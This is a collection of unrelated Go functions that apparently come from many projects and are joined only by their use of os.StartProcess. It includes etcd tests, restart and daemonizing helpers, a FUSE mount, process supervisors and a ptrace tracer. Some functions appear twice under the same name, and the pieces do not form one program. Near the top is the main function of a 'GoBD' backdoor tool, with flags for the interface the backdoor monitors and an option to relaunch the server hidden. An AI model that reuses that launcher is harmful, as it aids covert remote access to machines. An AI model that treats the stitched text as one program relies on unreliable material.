func compile(w *World) *bytes.Buffer {
ioutil.WriteFile(TEMPPATH+".go", []byte(w.source()), 0644)
err := new(bytes.Buffer)
re, e, _ := os.Pipe()
attr := &os.ProcAttr{Env: os.Environ(), Files: []*os.File{nil, e, nil}}
args := []string{bin + "/" + arch + "g", "-o", TEMPPATH + ".6", TEMPPATH + ".go"}
os.StartProcess(bin+"/"+arch+"g", args, attr)
e.Close()
io.Copy(err, re)
if err.Len() > 0 {
return err
}
re, e, _ = os.Pipe()
attr = &os.ProcAttr{Env: os.Environ(), Files: []*os.File{nil, e, nil}}
args = []string{bin + "/" + arch + "l", "-o", TEMPPATH + "", TEMPPATH + ".6"}
os.StartProcess(bin+"/"+arch+"l", args, attr)
e.Close()
io.Copy(err, re)
return err
}
func StartProcess(background bool, file string, args []string) (*os.Process, error) {
filePath, _ := filepath.Abs(file)
if background {
return os.StartProcess(filePath, args, &os.ProcAttr{Files: []*os.File{nil, nil, nil}})
}
return os.StartProcess(filePath, args, &os.ProcAttr{Files: []*os.File{os.Stdin, os.Stdout, os.Stderr}})
}
/*
FUNCTION: func main()
RETURNS: Nothing
ABOUT:
The main loop of program execution. Allows for retreiving of flags and intiation of client / server.
*/
func main() {
//flags
modePtr := flag.String("mode", "client", "The mode of the application, may either be"+
" client or server. Defaults to client.")
ipPtr := flag.String("ip", "127.0.0.1", "The ip to connect to if in client mode.")
portPtr := flag.Int("port", 3322, "The port to connect to in client mode, or to listen on in server mode. Defaults to 3322.")
interfacePtr := flag.String("iface", "wlan0", "The interface for the backdoor to monitor for incoming connection, defaults to eth0.")
lPortPtr := flag.Int("lport", 3321, "The port for the client to listen on.")
hiddenPtr := flag.String("visible", "true", "Determines whether the server will be hidden or not. true for visible and false for invisible.")
dstMacPtr := flag.String("dMac", "", "Destination mac of the outgoing connection.")
//flags
flag.Parse()
destmac, _ = net.ParseMAC(*dstMacPtr)
localip = GetLocalIP()
localmac = GetLocalMAC(*interfacePtr)
if *hiddenPtr == "false" && *modePtr == "server" {
var procAttr os.ProcAttr
procAttr.Files = []*os.File{os.Stdin, nil, nil}
arguments := make([]string, 7)
arguments[0] = ""
arguments[1] = fmt.Sprintf("-mode=%s", *modePtr)
arguments[2] = fmt.Sprintf("-ip=%s", *ipPtr)
arguments[3] = fmt.Sprintf("-port=%d", *portPtr)
arguments[4] = fmt.Sprintf("-iface=%s", *interfacePtr)
arguments[5] = fmt.Sprintf("-lport=%d", *lPortPtr)
arguments[6] = fmt.Sprint("-visible=invalid")
if runtime.GOOS == "windows" {
_, err := os.StartProcess("GoBD", arguments, &procAttr)
checkError(err)
} else {
_, err := os.StartProcess("./GoBD", arguments, &procAttr)
checkError(err)
}
return
}
intiateTools()
intiateHandles(*interfacePtr)
switch *modePtr {
case "client":
fmt.Printf("Running in client mode. Connecting to %s at port %d.\n", *ipPtr, *portPtr)
pType = CLIENT
intiateClient(*ipPtr, uint16(*portPtr), uint16(*lPortPtr))
break
case "server":
fmt.Printf("Running in server mode. Listening on %s at port %d\n", GetLocalIP(), *portPtr)
pType = SERVER
beginListen(*ipPtr, uint16(*portPtr), uint16(*lPortPtr))
}
}
// This test creates a single node and then set a value to it.
// Then this test kills the node and restart it and tries to get the value again.
func TestSingleNodeRecovery(t *testing.T) {
procAttr := new(os.ProcAttr)
procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
args := []string{"etcd", "-name=node1", "-data-dir=/tmp/node1"}
process, err := os.StartProcess(EtcdBinPath, append(args, "-f"), procAttr)
if err != nil {
t.Fatal("start process failed:" + err.Error())
return
}
time.Sleep(time.Second)
c := etcd.NewClient(nil)
c.SyncCluster()
// Test Set
result, err := c.Set("foo", "bar", 100)
node := result.Node
if err != nil || node.Key != "/foo" || node.Value != "bar" || node.TTL < 95 {
if err != nil {
t.Fatal(err)
}
t.Fatalf("Set 1 failed with %s %s %v", node.Key, node.Value, node.TTL)
}
time.Sleep(time.Second)
process.Kill()
process, err = os.StartProcess(EtcdBinPath, args, procAttr)
defer process.Kill()
if err != nil {
t.Fatal("start process failed:" + err.Error())
return
}
time.Sleep(time.Second)
result, err = c.Get("foo", false, false)
node = result.Node
if err != nil {
t.Fatal("get fail: " + err.Error())
return
}
if err != nil || node.Key != "/foo" || node.Value != "bar" || node.TTL > 99 {
if err != nil {
t.Fatal(err)
}
t.Fatalf("Recovery Get failed with %s %s %v", node.Key, node.Value, node.TTL)
}
}
// This test creates a single node and then set a value to it.
// Then this test kills the node and restart it and tries to get the value again.
func TestSingleNodeRecovery(t *testing.T) {
procAttr := new(os.ProcAttr)
procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
args := []string{"etcd", "-d=/tmp/node1"}
process, err := os.StartProcess("etcd", append(args, "-i"), procAttr)
if err != nil {
t.Fatal("start process failed:" + err.Error())
return
}
time.Sleep(time.Second)
etcd.SyncCluster()
// Test Set
result, err := etcd.Set("foo", "bar", 100)
if err != nil || result.Key != "/foo" || result.Value != "bar" || result.TTL != 99 {
if err != nil {
t.Fatal(err)
}
t.Fatalf("Set 1 failed with %s %s %v", result.Key, result.Value, result.TTL)
}
time.Sleep(time.Second)
process.Kill()
process, err = os.StartProcess("etcd", args, procAttr)
defer process.Kill()
if err != nil {
t.Fatal("start process failed:" + err.Error())
return
}
time.Sleep(time.Second)
results, err := etcd.Get("foo")
if err != nil {
t.Fatal("get fail: " + err.Error())
return
}
result = results[0]
if err != nil || result.Key != "/foo" || result.Value != "bar" || result.TTL > 99 {
if err != nil {
t.Fatal(err)
}
t.Fatalf("Recovery Get failed with %s %s %v", result.Key, result.Value, result.TTL)
}
}
func compileAndStart(targetDir string, appName string) (*os.Process, error) {
var procAttr os.ProcAttr
procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
args := []string{"go", "install", targetDir + appName}
p, err := os.StartProcess(goDir+"go", args, &procAttr)
if err != nil {
fmt.Println(err.Error())
return p, err
}
p, err = os.StartProcess(appBins+appName, nil, &procAttr)
return p, err
}
// TestSnapshotRestart tests etcd restarts with snapshot file
func TestSnapshotRestart(t *testing.T) {
procAttr := new(os.ProcAttr)
procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
args := []string{"etcd", "-name=node1", "-data-dir=/tmp/node1", "-snapshot=true", "-snapshot-count=500"}
process, err := os.StartProcess(EtcdBinPath, append(args, "-f"), procAttr)
if err != nil {
t.Fatal("start process failed:" + err.Error())
}
time.Sleep(time.Second)
c := etcd.NewClient(nil)
c.SyncCluster()
// issue first 501 commands
for i := 0; i < 501; i++ {
result, err := c.Set("foo", "bar", 100)
node := result.Node
if err != nil || node.Key != "/foo" || node.Value != "bar" || node.TTL < 95 {
if err != nil {
t.Fatal(err)
}
t.Fatalf("Set failed with %s %s %v", node.Key, node.Value, node.TTL)
}
}
// wait for a snapshot interval
time.Sleep(3 * time.Second)
_, err = ioutil.ReadDir("/tmp/node1/snapshot")
if err != nil {
t.Fatal("list snapshot failed:" + err.Error())
}
process.Kill()
process, err = os.StartProcess(EtcdBinPath, args, procAttr)
if err != nil {
t.Fatal("start process failed:" + err.Error())
}
defer process.Kill()
time.Sleep(1 * time.Second)
_, err = c.Set("foo", "bar", 100)
if err != nil {
t.Fatal(err)
}
}
func main() {
// 1) os.StartProcess //
/*********************/
/* Linux: */
env := os.Environ()
procAttr := &os.ProcAttr{
Env: env,
Files: []*os.File{
os.Stdin,
os.Stdout,
os.Stderr,
},
}
// 1st example: list files
pid, err := os.StartProcess("/bin/ls", []string{"ls", "-l"}, procAttr)
if err != nil {
fmt.Printf("Error %v starting process!", err) //
os.Exit(1)
}
fmt.Printf("The process id is %v", pid)
// 2nd example: show all processes
pid, err = os.StartProcess("/bin/ps", []string{"-e", "-opid,ppid,comm"}, procAttr)
if err != nil {
fmt.Printf("Error %v starting process!", err) //
os.Exit(1)
}
fmt.Printf("The process id is %v", pid)
/* Output 1st:
The process id is &{2054 0}total 2056
-rwxr-xr-x 1 ivo ivo 1157555 2011-07-04 16:48 Mieken_exec
-rw-r--r-- 1 ivo ivo 2124 2011-07-04 16:48 Mieken_exec.go
-rw-r--r-- 1 ivo ivo 18528 2011-07-04 16:48 Mieken_exec_go_.6
-rwxr-xr-x 1 ivo ivo 913920 2011-06-03 16:13 panic.exe
-rw-r--r-- 1 ivo ivo 180 2011-04-11 20:39 panic.go
*/
// 2) exec.Run //
/***************/
// Linux: OK, but not for ls ?
// cmd := exec.Command("ls", "-l") // no error, but doesn't show anything ?
// cmd := exec.Command("ls") // no error, but doesn't show anything ?
cmd := exec.Command("gedit") // this opens a gedit-window
err = cmd.Run()
if err != nil {
fmt.Printf("Error %v executing command!", err)
os.Exit(1)
}
fmt.Printf("The command is %v", cmd)
// The command is &{/bin/ls [ls -l] [] <nil> <nil> <nil> 0xf840000210 <nil> true [0xf84000ea50 0xf84000e9f0 0xf84000e9c0] [0xf84000ea50 0xf84000e9f0 0xf84000e9c0] [] [] 0xf8400128c0}
}
func LaunchBrowser(url string) (err os.Error) {
if runtime.GOOS == "darwin" {
fmt.Println([]string{"open", url})
_, err = os.StartProcess("/usr/bin/open", []string{"open", url}, &os.ProcAttr{".", nil, nil})
}
if runtime.GOOS == "linux" {
var ffp string
ffp, err = exec.LookPath("firefox")
if err == nil {
fmt.Println([]string{"firefox", url})
_, err = os.StartProcess(ffp, []string{"firefox", url}, &os.ProcAttr{".", nil, nil})
}
}
return
}
func restart() {
l.Infoln("Restarting")
if os.Getenv("SMF_FMRI") != "" || os.Getenv("STNORESTART") != "" {
// Solaris SMF
l.Infoln("Service manager detected; exit instead of restart")
stop <- true
return
}
env := os.Environ()
newEnv := make([]string, 0, len(env))
for _, s := range env {
if !strings.HasPrefix(s, "STRESTART=") {
newEnv = append(newEnv, s)
}
}
newEnv = append(newEnv, fmt.Sprintf("STRESTART=%d", lockPort))
pgm, err := exec.LookPath(os.Args[0])
if err != nil {
l.Warnln("Cannot restart:", err)
return
}
proc, err := os.StartProcess(pgm, os.Args, &os.ProcAttr{
Env: newEnv,
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
})
if err != nil {
l.Fatalln(err)
}
proc.Release()
stop <- true
}
func run(argv []string) error {
cmd, err := exec.LookPath(argv[0])
if err != nil {
return err
}
var stdin *os.File
if runtime.GOOS == "windows" {
stdin, _ = os.Open("CONIN$")
} else {
stdin = os.Stdin
}
p, err := os.StartProcess(cmd, argv, &os.ProcAttr{Files: []*os.File{stdin, os.Stdout, os.Stderr}})
if err != nil {
return err
}
defer p.Release()
w, err := p.Wait()
if err != nil {
return err
}
if !w.Exited() || !w.Success() {
return errors.New("Failed to execute text editor")
}
return nil
}
// Re-exec this image without dropping the listener passed to this function.
func Restart(l net.Listener) error {
argv0, err := exec.LookPath(os.Args[0])
if nil != err {
return err
}
wd, err := os.Getwd()
if nil != err {
return err
}
v := reflect.ValueOf(l).Elem().FieldByName("fd").Elem()
fd := uintptr(v.FieldByName("sysfd").Int())
allFiles := append([]*os.File{os.Stdin, os.Stdout, os.Stderr},
os.NewFile(fd, string(v.FieldByName("sysfile").String())))
p, err := os.StartProcess(argv0, os.Args, &os.ProcAttr{
Dir: wd,
Env: append(os.Environ(), fmt.Sprintf("%s=%d", FDKey, fd)),
Files: allFiles,
})
if nil != err {
return err
}
log.Printf("spawned child %d\n", p.Pid)
return nil
}
// Ensure that the cluster configuration can be reloaded.
func TestClusterConfigReload(t *testing.T) {
procAttr := &os.ProcAttr{Files: []*os.File{nil, os.Stdout, os.Stderr}}
argGroup, etcds, err := CreateCluster(3, procAttr, false)
assert.NoError(t, err)
defer DestroyCluster(etcds)
resp, _ := tests.Put("http://localhost:7001/v2/admin/config", "application/json", bytes.NewBufferString(`{"activeSize":3, "removeDelay":60}`))
assert.Equal(t, resp.StatusCode, 200)
time.Sleep(1 * time.Second)
resp, _ = tests.Get("http://localhost:7002/v2/admin/config")
body := tests.ReadBodyJSON(resp)
assert.Equal(t, resp.StatusCode, 200)
assert.Equal(t, body["activeSize"], 3)
assert.Equal(t, body["removeDelay"], 60)
// kill all
DestroyCluster(etcds)
for i := 0; i < 3; i++ {
etcds[i], err = os.StartProcess(EtcdBinPath, argGroup[i], procAttr)
}
time.Sleep(1 * time.Second)
resp, _ = tests.Get("http://localhost:7002/v2/admin/config")
body = tests.ReadBodyJSON(resp)
assert.Equal(t, resp.StatusCode, 200)
assert.Equal(t, body["activeSize"], 3)
assert.Equal(t, body["removeDelay"], 60)
}
//TODO: mv to an image.go file
//TODO: use native go stuff to do the job when it's ready. as of 05/2011, at least decoding jpeg is pretty unreliable.
func needResize(pic string) bool {
pr, pw, err := os.Pipe()
if err != nil {
log.Fatal(err)
}
args := []string{identifyBin, pic}
fds := []*os.File{os.Stdin, pw, os.Stderr}
p, err := os.StartProcess(args[0], args, &os.ProcAttr{Files: fds})
if err != nil {
log.Fatal(err)
}
pw.Close()
_, err = p.Wait()
if err != nil {
log.Fatal(err)
}
buf, err := ioutil.ReadAll(pr)
if err != nil {
log.Fatal(err)
}
pr.Close()
output := strings.Split(string(buf), " ")
// resolution should be the 3rd one of the output of identify
res := strings.Split(output[2], "x")
w, err := strconv.Atoi(res[0])
if err != nil {
log.Fatal(err)
}
h, err := strconv.Atoi(res[1])
if err != nil {
log.Fatal(err)
}
return w > maxWidth || h > maxHeight
}
func (d *Context) parent() (child *os.Process, err error) {
if err = d.prepareEnv(); err != nil {
return
}
defer d.closeFiles()
if err = d.openFiles(); err != nil {
return
}
attr := &os.ProcAttr{
Dir: d.WorkDir,
Env: d.Env,
Files: d.files(),
Sys: &syscall.SysProcAttr{
//Chroot: d.Chroot,
Credential: d.Credential,
Setsid: true,
},
}
if child, err = os.StartProcess(d.abspath, d.Args, attr); err != nil {
if d.pidFile != nil {
d.pidFile.Remove()
}
return
}
d.rpipe.Close()
encoder := json.NewEncoder(d.wpipe)
err = encoder.Encode(d)
return
}
// this method does not inherit any fd, only inherit given fd ???
func StartNewThisWithTcpListener(l *net.TCPListener) error {
execCmd, err := exec.LookPath(os.Args[0])
if nil != err {
return err
}
wd, err := os.Getwd()
if nil != err {
return err
}
netFD := reflect.ValueOf(l).Elem().FieldByName("fd").Elem()
fd := uintptr(netFD.FieldByName("sysfd").Int())
inheritedFiles := append([]*os.File{os.Stdin, os.Stdout, os.Stderr},
os.NewFile(fd, string(netFD.FieldByName("sysfile").String())))
//start process
_, err = os.StartProcess(execCmd, os.Args, &os.ProcAttr{
Dir: wd,
Env: append(os.Environ(), fmt.Sprintf("%s=%d", TCP_LISTENER_KEY, fd), fmt.Sprintf("%s=%s", IS_CHILD, "true")),
Files: inheritedFiles,
})
if nil != err {
return err
}
return nil
}
func (self *Server) start() error {
if self.p != nil {
return fmt.Errorf("Server is already running with pid %d", self.p.Pid)
}
fmt.Printf("Starting server")
dir, err := os.Getwd()
if err != nil {
return err
}
root := filepath.Join(dir, "..", "..")
filename := filepath.Join(root, "server")
p, err := os.StartProcess(filename, []string{filename, "-cpuprofile", "/tmp/cpuprofile"}, &os.ProcAttr{
Dir: root,
Env: os.Environ(),
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
})
if err != nil {
return err
}
self.p = p
time.Sleep(2 * time.Second)
return nil
}
func TestSyscall(t *testing.T) {
proc, err := os.StartProcess("/usr/bin/ls", []string{"ls", "/"}, &os.ProcAttr{
Sys: &syscall.SysProcAttr{
Ptrace: true,
},
})
catch(err)
time.Sleep(1 * time.Nanosecond)
tracer, err := Attach(proc)
catch(err)
for {
no, err := tracer.Syscall(syscall.Signal(0))
if err == syscall.ESRCH {
t.Logf("Syscall() threw %v", err)
break
}
if err != nil {
t.Errorf("Syscall() threw %v", err)
break
}
t.Logf("Syscall() = %v", no)
}
}
func forkExec(save_files []*os.File) (*os.Process, error) {
binary, err := lookPath()
if err != nil {
return nil, err
}
wd, err := os.Getwd()
if err != nil {
return nil, err
}
files := []*os.File{
os.Stdin,
os.Stdout,
os.Stderr,
}
files = append(files, save_files...)
attr := &os.ProcAttr{
Dir: wd,
Env: os.Environ(),
Files: files,
Sys: &syscall.SysProcAttr{},
}
child, err := os.StartProcess(binary, os.Args, attr)
if err != nil {
return nil, err
}
return child, nil
}
func StartProcess() (*os.Process, error) {
argv0, err := exec.LookPath(os.Args[0])
if err != nil {
return nil, err
}
files := make([]*os.File, 0)
files = append(files, os.Stdin)
files = append(files, os.Stdout)
files = append(files, os.Stderr)
for _, key := range os.Environ() {
if strings.HasPrefix(key, ENV_PREFIX) {
parts := strings.SplitN(key, "=", 2)
if fd, err := strconv.Atoi(parts[1]); err == nil {
if err = noCloseOnExec(uintptr(fd)); err != nil {
files = append(files, os.NewFile(uintptr(fd), key))
}
}
}
}
return os.StartProcess(argv0, os.Args, &os.ProcAttr{
Dir: path.Dir(argv0),
Env: os.Environ(),
Files: files,
Sys: &syscall.SysProcAttr{},
})
}
//Start the process
func (p *Process) start(name string) {
p.Name = name
wd, _ := os.Getwd()
proc := &os.ProcAttr{
Dir: wd,
Env: os.Environ(),
Files: []*os.File{
os.Stdin,
NewLog(p.Logfile),
NewLog(p.Errfile),
},
}
if p.Args == nil {
p.Args = []string{}
}
process, err := os.StartProcess(p.Command, p.Args, proc)
if err != nil {
log.Fatalf("%s failed. %s", p.Name, err)
return
}
err = p.Pidfile.write(process.Pid)
if err != nil {
log.Printf("%s pidfile error: %s", p.Name, err)
return
}
p.x = process
p.Pid = process.Pid
fmt.Printf("%s is %#v\n", p.Name, process.Pid)
p.Status = "started"
}
// LoadExecutable opens binaryName, passing it args and attempts to exec it.
// Note, the process does not begin executing main() until after StartExecutable
// is called.
func LoadExecutable(binaryName string, args []string) (proc *Process, err error) {
if _, ok := os.Stat(binaryName); ok != nil {
proc, err = nil, &os.PathError{"LoadExecutable", binaryName, ok}
return
}
var started *os.Process
attr := &os.ProcAttr{
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
Sys: &syscall.SysProcAttr{Ptrace: true},
}
if p, ok := os.StartProcess(binaryName, args, attr); ok != nil {
proc, err = nil, &os.PathError{"LoadExecutable", binaryName, ok}
return
} else {
started = p
}
proc = new(Process)
proc.Pid = started.Pid
proc.Memory, _ = getMemoryMap(proc.Pid)
proc.Filename = binaryName
proc.DebugSymbols, err = ExtractSymbolTable(binaryName, 0)
proc.Breakpoints = []*Breakpoint{}
return
}
func run(argv []string) os.Error {
cmd, err := exec.LookPath(argv[0])
if err != nil {
return err
}
var stdin *os.File
if syscall.OS == "windows" {
stdin, _ = os.Open("CONIN$")
} else {
stdin = os.Stdin
}
p, err := os.StartProcess(cmd, argv, &os.ProcAttr{Files: []*os.File{stdin, os.Stdout, os.Stderr}})
if err != nil {
return err
}
defer p.Release()
w, err := p.Wait(0)
if err != nil {
return err
}
if !w.Exited() || w.ExitStatus() != 0 {
return os.NewError("failed to execute text editor")
}
return nil
}
func try_run_server() error {
path := get_executable_filename()
args := []string{os.Args[0], "-s", "-sock", *g_sock, "-addr", *g_addr}
cwd, _ := os.Getwd()
var err error
stdin, err := os.Open(os.DevNull)
if err != nil {
return err
}
stdout, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
if err != nil {
return err
}
stderr, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
if err != nil {
return err
}
procattr := os.ProcAttr{Dir: cwd, Env: os.Environ(), Files: []*os.File{stdin, stdout, stderr}}
p, err := os.StartProcess(path, args, &procattr)
if err != nil {
return err
}
return p.Release()
}
func (self *Server) Start() error {
if self.p != nil {
return fmt.Errorf("Server is already running with pid %d", self.p.Pid)
}
fmt.Printf("Starting server")
dir, err := os.Getwd()
if err != nil {
return err
}
root := filepath.Join(dir, "..", "..")
filename := filepath.Join(root, "daemon")
if self.configFile == "" {
self.configFile = "src/integration/test_config_single.toml"
}
args := []string{filename, "-config", self.configFile}
args = append(args, self.args...)
p, err := os.StartProcess(filename, args, &os.ProcAttr{
Dir: root,
Env: os.Environ(),
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
})
if err != nil {
return err
}
self.p = p
return nil
}
// Psuedo-forks by re-executing the current binary with a special command line
// argument telling it not to re-execute itself again. Returns true in the
// parent process and false in the child.
func Fork() (isParent bool, err error) {
if os.Args[len(os.Args)-1] == forkedArg {
os.Args = os.Args[0 : len(os.Args)-1]
return false, nil
}
newArgs := make([]string, 0, len(os.Args))
newArgs = append(newArgs, exepath.Abs)
newArgs = append(newArgs, os.Args[1:]...)
newArgs = append(newArgs, forkedArg)
// Start the child process.
//
// Pass along the standard FD for now - we'll remap them to /dev/null
// in due time. This ensures anything expecting these to exist isn't confused,
// and allows pre-daemonization failures to at least get output to somewhere.
proc, err := os.StartProcess(exepath.Abs, newArgs, &os.ProcAttr{
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
})
if err != nil {
return true, err
}
proc.Release()
return true, nil
}
func restart() {
l.Infoln("Restarting")
if os.Getenv("SMF_FMRI") != "" || os.Getenv("STNORESTART") != "" {
// Solaris SMF
l.Infoln("Service manager detected; exit instead of restart")
stop <- true
return
}
env := os.Environ()
if len(os.Getenv("STRESTART")) == 0 {
env = append(env, "STRESTART=1")
}
pgm, err := exec.LookPath(os.Args[0])
if err != nil {
l.Warnln(err)
return
}
proc, err := os.StartProcess(pgm, os.Args, &os.ProcAttr{
Env: env,
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
})
if err != nil {
l.Fatalln(err)
}
proc.Release()
stop <- true
}
// Start will execute the command Cmd that should run the process. It will also create an out, err and pidfile
// in case they do not exist yet.
// Returns an error in case there's any.
func (proc *Proc) Start() error {
outFile, err := utils.GetFile(proc.Outfile)
if err != nil {
return err
}
errFile, err := utils.GetFile(proc.Errfile)
if err != nil {
return err
}
wd, _ := os.Getwd()
procAtr := &os.ProcAttr{
Dir: wd,
Env: os.Environ(),
Files: []*os.File{
os.Stdin,
outFile,
errFile,
},
}
args := append([]string{proc.Name}, proc.Args...)
process, err := os.StartProcess(proc.Cmd, args, procAtr)
if err != nil {
return err
}
proc.process = process
proc.Pid = proc.process.Pid
err = utils.WriteFile(proc.Pidfile, []byte(strconv.Itoa(proc.process.Pid)))
if err != nil {
return err
}
proc.Status.SetStatus("started")
return nil
}
// Create a FUSE FS on the specified mount point. The returned
// mount point is always absolute.
func mount(mountPoint string, options string) (fd int, err error) {
local, remote, err := unixgramSocketpair()
if err != nil {
return
}
defer local.Close()
defer remote.Close()
cmd := []string{fusermountBinary, mountPoint}
if options != "" {
cmd = append(cmd, "-o")
cmd = append(cmd, options)
}
proc, err := os.StartProcess(fusermountBinary,
cmd,
&os.ProcAttr{
Env: []string{"_FUSE_COMMFD=3"},
Files: []*os.File{os.Stdin, os.Stdout, os.Stderr, remote}})
if err != nil {
return
}
w, err := proc.Wait()
if err != nil {
return
}
if !w.Success() {
err = fmt.Errorf("fusermount exited with code %v\n", w.Sys())
return
}
return getConnection(local)
}
func (t *Task) Execute(arg0 string, argv []string, attr *os.ProcAttr) (*Status, error) {
t.Lock()
if jobControlEnabled() {
attr.Sys = SysProcAttr(t.Group)
}
proc, err := os.StartProcess(arg0, argv, attr)
if err != nil {
t.Unlock()
return nil, err
}
if jobControlEnabled() {
if t.Group == 0 {
t.Group = proc.Pid
}
}
t.pid = proc.Pid
t.Unlock()
status := JoinProcess(proc)
if jobControlEnabled() {
if t.Group == t.pid {
t.Group = 0
}
}
t.pid = 0
return NewStatus(int64(status)), err
}